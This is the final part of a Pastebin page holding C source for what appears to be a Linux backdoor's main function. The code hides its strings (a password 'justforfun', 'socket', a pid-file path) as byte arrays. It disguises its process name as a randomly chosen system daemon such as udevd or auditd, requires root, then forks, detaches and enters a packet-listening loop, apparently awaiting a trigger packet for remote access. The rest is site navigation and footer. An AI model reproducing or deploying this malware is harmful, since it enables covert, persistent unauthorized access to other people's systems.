<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; vhangup<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">exit</span><span class="br0">&#40;</span><span class="nu0">0</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1"><span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1"><span class="kw4">int</span> main<span class="br0">&#40;</span><span class="kw4">int</span> argc<span class="sy0">,</span> <span class="kw4">char</span> <span class="sy0">*</span>argv<span class="br0">&#91;</span><span class="br0">&#93;</span><span class="br0">&#41;</span></div></li>
<li class="li1"><div class="de1"><span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">char</span> hash<span class="br0">&#91;</span><span class="br0">&#93;</span> <span class="sy0">=</span> <span class="br0">&#123;</span><span class="nu12">0x6a</span><span class="sy0">,</span> <span class="nu12">0x75</span><span class="sy0">,</span> <span class="nu12">0x73</span><span class="sy0">,</span> <span class="nu12">0x74</span><span class="sy0">,</span> <span class="nu12">0x66</span><span class="sy0">,</span> <span class="nu12">0x6f</span><span class="sy0">,</span> <span class="nu12">0x72</span><span class="sy0">,</span> <span class="nu12">0x66</span><span class="sy0">,</span> <span class="nu12">0x75</span><span class="sy0">,</span> <span class="nu12">0x6e</span><span class="sy0">,</span> <span class="nu12">0x00</span><span class="br0">&#125;</span><span class="sy0">;</span> <span class="co1">// justforfun</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">char</span> hash2<span class="br0">&#91;</span><span class="br0">&#93;</span><span class="sy0">=</span> <span class="br0">&#123;</span><span class="nu12">0x73</span><span class="sy0">,</span> <span class="nu12">0x6f</span><span class="sy0">,</span> <span class="nu12">0x63</span><span class="sy0">,</span> <span class="nu12">0x6b</span><span class="sy0">,</span> <span class="nu12">0x65</span><span class="sy0">,</span> <span class="nu12">0x74</span><span class="sy0">,</span> <span class="nu12">0x00</span><span class="br0">&#125;</span><span class="sy0">;</span> <span class="co1">// socket</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">char</span> <span class="sy0">*</span>self<span class="br0">&#91;</span><span class="br0">&#93;</span> <span class="sy0">=</span> <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&quot;/sbin/udevd -d&quot;</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&quot;/sbin/mingetty /dev/tty7&quot;</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&quot;/usr/sbin/console-kit-daemon --no-daemon&quot;</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&quot;hald-addon-acpi: listening on acpi kernel interface /proc/acpi/event&quot;</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&quot;dbus-daemon --system&quot;</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&quot;hald-runner&quot;</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&quot;pickup -l -t fifo -u&quot;</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&quot;avahi-daemon: chroot helper&quot;</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&quot;/sbin/auditd -n&quot;</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&quot;/usr/lib/systemd/systemd-journald&quot;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; pid_path<span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span> <span class="sy0">=</span> <span class="nu12">0x2f</span><span class="sy0">;</span> pid_path<span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span> <span class="sy0">=</span> <span class="nu12">0x76</span><span class="sy0">;</span> pid_path<span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span> <span class="sy0">=</span> <span class="nu12">0x61</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; pid_path<span class="br0">&#91;</span><span class="nu0">3</span><span class="br0">&#93;</span> <span class="sy0">=</span> <span class="nu12">0x72</span><span class="sy0">;</span> pid_path<span class="br0">&#91;</span><span class="nu0">4</span><span class="br0">&#93;</span> <span class="sy0">=</span> <span class="nu12">0x2f</span><span class="sy0">;</span> pid_path<span class="br0">&#91;</span><span class="nu0">5</span><span class="br0">&#93;</span> <span class="sy0">=</span> <span class="nu12">0x72</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; pid_path<span class="br0">&#91;</span><span class="nu0">6</span><span class="br0">&#93;</span> <span class="sy0">=</span> <span class="nu12">0x75</span><span class="sy0">;</span> pid_path<span class="br0">&#91;</span><span class="nu0">7</span><span class="br0">&#93;</span> <span class="sy0">=</span> <span class="nu12">0x6e</span><span class="sy0">;</span> pid_path<span class="br0">&#91;</span><span class="nu0">8</span><span class="br0">&#93;</span> <span class="sy0">=</span> <span class="nu12">0x2f</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; pid_path<span class="br0">&#91;</span><span class="nu0">9</span><span class="br0">&#93;</span> <span class="sy0">=</span> <span class="nu12">0x68</span><span class="sy0">;</span> pid_path<span class="br0">&#91;</span><span class="nu0">10</span><span class="br0">&#93;</span> <span class="sy0">=</span> <span class="nu12">0x61</span><span class="sy0">;</span> pid_path<span class="br0">&#91;</span><span class="nu0">11</span><span class="br0">&#93;</span> <span class="sy0">=</span> <span class="nu12">0x6c</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; pid_path<span class="br0">&#91;</span><span class="nu0">12</span><span class="br0">&#93;</span> <span class="sy0">=</span> <span class="nu12">0x64</span><span class="sy0">;</span> pid_path<span class="br0">&#91;</span><span class="nu0">13</span><span class="br0">&#93;</span> <span class="sy0">=</span> <span class="nu12">0x72</span><span class="sy0">;</span> pid_path<span class="br0">&#91;</span><span class="nu0">14</span><span class="br0">&#93;</span> <span class="sy0">=</span> <span class="nu12">0x75</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; pid_path<span class="br0">&#91;</span><span class="nu0">15</span><span class="br0">&#93;</span> <span class="sy0">=</span> <span class="nu12">0x6e</span><span class="sy0">;</span> pid_path<span class="br0">&#91;</span><span class="nu0">16</span><span class="br0">&#93;</span> <span class="sy0">=</span> <span class="nu12">0x64</span><span class="sy0">;</span> pid_path<span class="br0">&#91;</span><span class="nu0">17</span><span class="br0">&#93;</span> <span class="sy0">=</span> <span class="nu12">0x2e</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; pid_path<span class="br0">&#91;</span><span class="nu0">18</span><span class="br0">&#93;</span> <span class="sy0">=</span> <span class="nu12">0x70</span><span class="sy0">;</span> pid_path<span class="br0">&#91;</span><span class="nu0">19</span><span class="br0">&#93;</span> <span class="sy0">=</span> <span class="nu12">0x69</span><span class="sy0">;</span> pid_path<span class="br0">&#91;</span><span class="nu0">20</span><span class="br0">&#93;</span> <span class="sy0">=</span> <span class="nu12">0x64</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; pid_path<span class="br0">&#91;</span><span class="nu0">21</span><span class="br0">&#93;</span> <span class="sy0">=</span> <span class="nu12">0x00</span><span class="sy0">;</span> <span class="co1">// /var/run/haldrund.pid</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>access<span class="br0">&#40;</span>pid_path<span class="sy0">,</span> R_OK<span class="br0">&#41;</span> <span class="sy0">==</span> <span class="nu0">0</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">exit</span><span class="br0">&#40;</span><span class="nu0">0</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>getuid<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="sy0">!=</span> <span class="nu0">0</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="nu0">0</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>argc <span class="sy0">==</span> <span class="nu0">1</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>to_open<span class="br0">&#40;</span>argv<span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><span class="sy0">,</span> <span class="st0">&quot;kdmtmpflush&quot;</span><span class="br0">&#41;</span> <span class="sy0">==</span> <span class="nu0">0</span><span class="br0">&#41;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; _exit<span class="br0">&#40;</span><span class="nu0">0</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; _exit<span class="br0">&#40;</span><span class="sy0">-</span><span class="nu0">1</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; bzero<span class="br0">&#40;</span><span class="sy0">&amp;</span>cfg<span class="sy0">,</span> <span class="kw4">sizeof</span><span class="br0">&#40;</span>cfg<span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">srand</span><span class="br0">&#40;</span><span class="br0">&#40;</span><span class="kw4">unsigned</span><span class="br0">&#41;</span><span class="kw3">time</span><span class="br0">&#40;</span>NULL<span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">strcpy</span><span class="br0">&#40;</span>cfg.<span class="me1">mask</span><span class="sy0">,</span> self<span class="br0">&#91;</span><span class="kw3">rand</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy0">%</span><span class="nu19">10</span><span class="br0">&#93;</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">strcpy</span><span class="br0">&#40;</span>cfg.<span class="me1">pass</span><span class="sy0">,</span> hash<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">strcpy</span><span class="br0">&#40;</span>cfg.<span class="me1">pass2</span><span class="sy0">,</span> hash2<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; setup_time<span class="br0">&#40;</span>argv<span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; set_proc_name<span class="br0">&#40;</span>argc<span class="sy0">,</span> argv<span class="sy0">,</span> cfg.<span class="me1">mask</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>fork<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="kw3">exit</span><span class="br0">&#40;</span><span class="nu0">0</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; init_signal<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; signal<span class="br0">&#40;</span>SIGCHLD<span class="sy0">,</span> sig_child<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; godpid <span class="sy0">=</span> getpid<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; close<span class="br0">&#40;</span>open<span class="br0">&#40;</span>pid_path<span class="sy0">,</span> O_CREAT<span class="sy0">|</span>O_WRONLY<span class="sy0">,</span> <span class="nu8">0644</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; signal<span class="br0">&#40;</span>SIGCHLD<span class="sy0">,</span>SIG_IGN<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; setsid<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; packet_loop<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="nu0">0</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1"><span class="br0">&#125;</span></div></li>
</ol>        </div>
    </div>

    

        
<!-- 1-x2xy94pJ -->
<div style="padding-bottom:10px; padding-top:10px;">
<div style="color: #999; font-size: 12px; text-align: center;">Advertisement</div>
<div class="adsbyvli" style="width:970px; height:250px" data-ad-slot="vi_1282567605"></div> <script>(vitag.Init = window.vitag.Init || []).push(function () { viAPItag.display("vi_1282567605") })</script>
</div>

    
        
<div class="comments">

    
            
            <div class="page">
                <div class="content__title -no-border">
                    Add Comment                </div>

                <div class="content__text -no-padding">
                    <div class="notice -post-view">
                        Please, <a href="/login?return_url=%2FkmmJuuQP%23add_comment"><b><u>Sign In</u></b></a> to add comment                    </div>
                </div>
            </div>

            </div>
        
</div>            <div style="clear: both;"></div>

                        
<!-- 1-x2xy94pJ -->
<div style="padding-bottom:20px; padding-top:20px;">
<div style="color: #999; font-size: 12px; text-align: center;">Advertisement</div>
<div class="adsbyvli" data-ad-slot="vi_1282577474" style="width: 970px; height: 90px"></div><script>(vitag.Init = window.vitag.Init || []).push(function(){viAPItag.display("vi_1282577474")})</script>
</div>
        </div>

        <div class="sidebar h_1024">
            



                
    <div class="sidebar__title">
        <a href="/archive">Public Pastes</a>
    </div>
    <ul class="sidebar__menu">

                    <li>
                <a href="/LfbQ3VUa">Nigerian scammers [25-2-2/2024]</a>
                <div class="details">
                                            AIMMS |
                    
                    9 min ago
                    | 25.51 KB                </div>
            </li>
                    <li>
                <a href="/U1bsN0hU">G2A.com Free Gift Card Guide Feb 2024</a>
                <div class="details">
                                            GetText |
                    
                    19 min ago
                    | 0.30 KB                </div>
            </li>
                    <li>
                <a href="/rLeaSqWS">Untitled</a>
                <div class="details">
                                            ASM (NASM) |
                    
                    31 min ago
                    | 0.56 KB                </div>
            </li>
                    <li>
                <a href="/0Wm6BaN8">News Feb25 24</a>
                <div class="details">
                                            Email |
                    
                    57 min ago
                    | 21.88 KB                </div>
            </li>
                    <li>
                <a href="/ge8HwBgq">12. Улучшаем собственный вектор</a>
                <div class="details">
                                            C++ |
                    
                    1 hour ago
                    | 14.75 KB                </div>
            </li>
                    <li>
                <a href="/zAD2LJj4">Untitled</a>
                <div class="details">
                                            Python |
                    
                    1 hour ago
                    | 0.36 KB                </div>
            </li>
                    <li>
                <a href="/MDtFkS8B">edit.php</a>
                <div class="details">
                                            PHP |
                    
                    1 hour ago
                    | 3.46 KB                </div>
            </li>
                    <li>
                <a href="/vKcrQaAP">vehicles.hpp</a>
                <div class="details">
                                            C |
                    
                    1 hour ago
                    | 6.18 KB                </div>
            </li>
        
    </ul>
            

    <div class="sidebar__sticky -on">
                
<!-- 1-x2xy94pJ -->
<div style="padding-bottom:10px; padding-top:20px;">
<div style="color: #999; font-size: 12px; text-align: center;">Advertisement</div>
<div class="adsbyvli" data-ad-slot="vi_1282578983" style="width: 300px; height: 600px"></div><script>(vitag.Init = window.vitag.Init || []).push(function(){viAPItag.display("vi_1282578983")})</script>
</div>
    </div>
        </div>
    </div>
</div>


    
<div class="top-footer">
    <a class="icon-link -size-24-24 -chrome" href="/tools#chrome" title="Google Chrome Extension"></a>
    <a class="icon-link -size-24-24 -firefox" href="/tools#firefox" title="Firefox Extension"></a>
    <a class="icon-link -size-24-24 -iphone" href="/tools#iphone" title="iPhone/iPad Application"></a>
    <a class="icon-link -size-24-24 -windows" href="/tools#windows" title="Windows Desktop Application"></a>
    <a class="icon-link -size-24-24 -android" href="/tools#android" title="Android Application"></a>
    <a class="icon-link -size-24-24 -macos" href="/tools#macos" title="MacOS X Widget"></a>
    <a class="icon-link -size-24-24 -opera" href="/tools#opera" title="Opera Extension"></a>
    <a class="icon-link -size-24-24 -unix" href="/tools#pastebincl" title="Linux Application"></a>
</div>

<footer class="footer">
    <div class="container">
        <div class="footer__container">

            <div class="footer__left">
                <a href="/">create new paste</a> <span class="footer__devider">&nbsp;/&nbsp;</span>
                                <a href="/languages">syntax languages</a> <span class="footer__devider">&nbsp;/&nbsp;</span>
                <a href="/archive">archive</a> <span class="footer__devider">&nbsp;/&nbsp;</span>
                <a href="/faq">faq</a> <span class="footer__devider">&nbsp;/&nbsp;</span>
                <a href="/tools">tools</a> <span class="footer__devider">&nbsp;/&nbsp;</span>
                <a href="/night_mode">night mode</a> <span class="footer__devider">&nbsp;/&nbsp;</span>
                <a href="/doc_api">api</a> <span class="footer__devider">&nbsp;/&nbsp;</span>
                <a href="/doc_scraping_api">scraping api</a> <span class="footer__devider">&nbsp;/&nbsp;</span>
                <a href="/news">news</a> <span class="footer__devider">&nbsp;/&nbsp;</span>
                <a href="/pro" class="pro">pro</a>

                <br>
                <a href="/doc_privacy_statement">privacy statement</a> <span class="footer__devider">&nbsp;/&nbsp;</span>
                <a href="/doc_cookies_policy">cookies policy</a> <span class="footer__devider">&nbsp;/&nbsp;</span>
                <a href="/doc_terms_of_service">terms of service</a><span class="footer__devider">&nbsp;/&nbsp;</span>
                <a href="/doc_security_disclosure">security disclosure</a> <span class="footer__devider">&nbsp;/&nbsp;</span>
                <a href="/dmca">dmca</a> <span class="footer__devider">&nbsp;/&nbsp;</span>
                <a href="/report-abuse">report abuse</a> <span class="footer__devider">&nbsp;/&nbsp;</span>
                <a href="/contact">contact</a>

                <br>

                                
                <br>

                
<span class="footer__bottom h_800">
    By using Pastebin.com you agree to our <a href="/doc_cookies_policy">cookies policy</a> to enhance your experience.
    <br>
    Site design &amp; logo &copy; 2024 Pastebin</span>
            </div>

            <div class="footer__right h_1024">
                                    <a class="icon-link -size-40-40 -facebook-circle" href="https://facebook.com/pastebin" rel="nofollow" title="Like us on Facebook" target="_blank"></a>
                    <a class="icon-link -size-40-40 -twitter-circle" href="https://twitter.com/pastebin" rel="nofollow" title="Follow us on Twitter" target="_blank"></a>
                            </div>

        </div>
    </div>
</footer>
    


    
<div class="popup-container">

                <div class="popup-box -cookies" data-name="l2c_1">
            We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the <a href="/doc_cookies_policy">Cookies Policy</a>.            &nbsp;<span class="cookie-button js-close-cookies">OK, I Understand</span>
        </div>
    
                <div class="popup-box -pro" data-name="l2c_2_pg">
            <div class="pro-promo-img">
                <a href="/signup" aria-label="Sign Up">
                    <img src="/themes/pastebin/img/hello.webp" alt=""/>
                </a>
            </div>
            <div class="pro-promo-text">
                Not a member of Pastebin yet?<br/>
                <a href="/signup"><b>Sign Up</b></a>, it unlocks many cool features!            </div>
            <div class="close js-close-pro-guest" title="Close Me">&nbsp;</div>
        </div>
    
    
    
</div>
    

<span class="cd-top"></span>

<script src="/assets/9ce1885/jquery.min.js"></script>
<script src="/assets/f04f76b8/yii.js"></script>
<script src="/assets/72fc434d/dist/bootstrap-tagsinput.js"></script>
<script>
    const POST_EXPIRATION_NEVER = 'N';
    const POST_EXPIRATION_BURN = 'B';
    const POST_STATUS_PUBLIC = '0';
    const POST_STATUS_UNLISTED = '1';
</script>
<script src="/themes/pastebin/js/vendors.bundle.js?30d6ece6979ee0cf5531"></script>
<script src="/themes/pastebin/js/app.bundle.js?30d6ece6979ee0cf5531"></script>

</body>
</html>
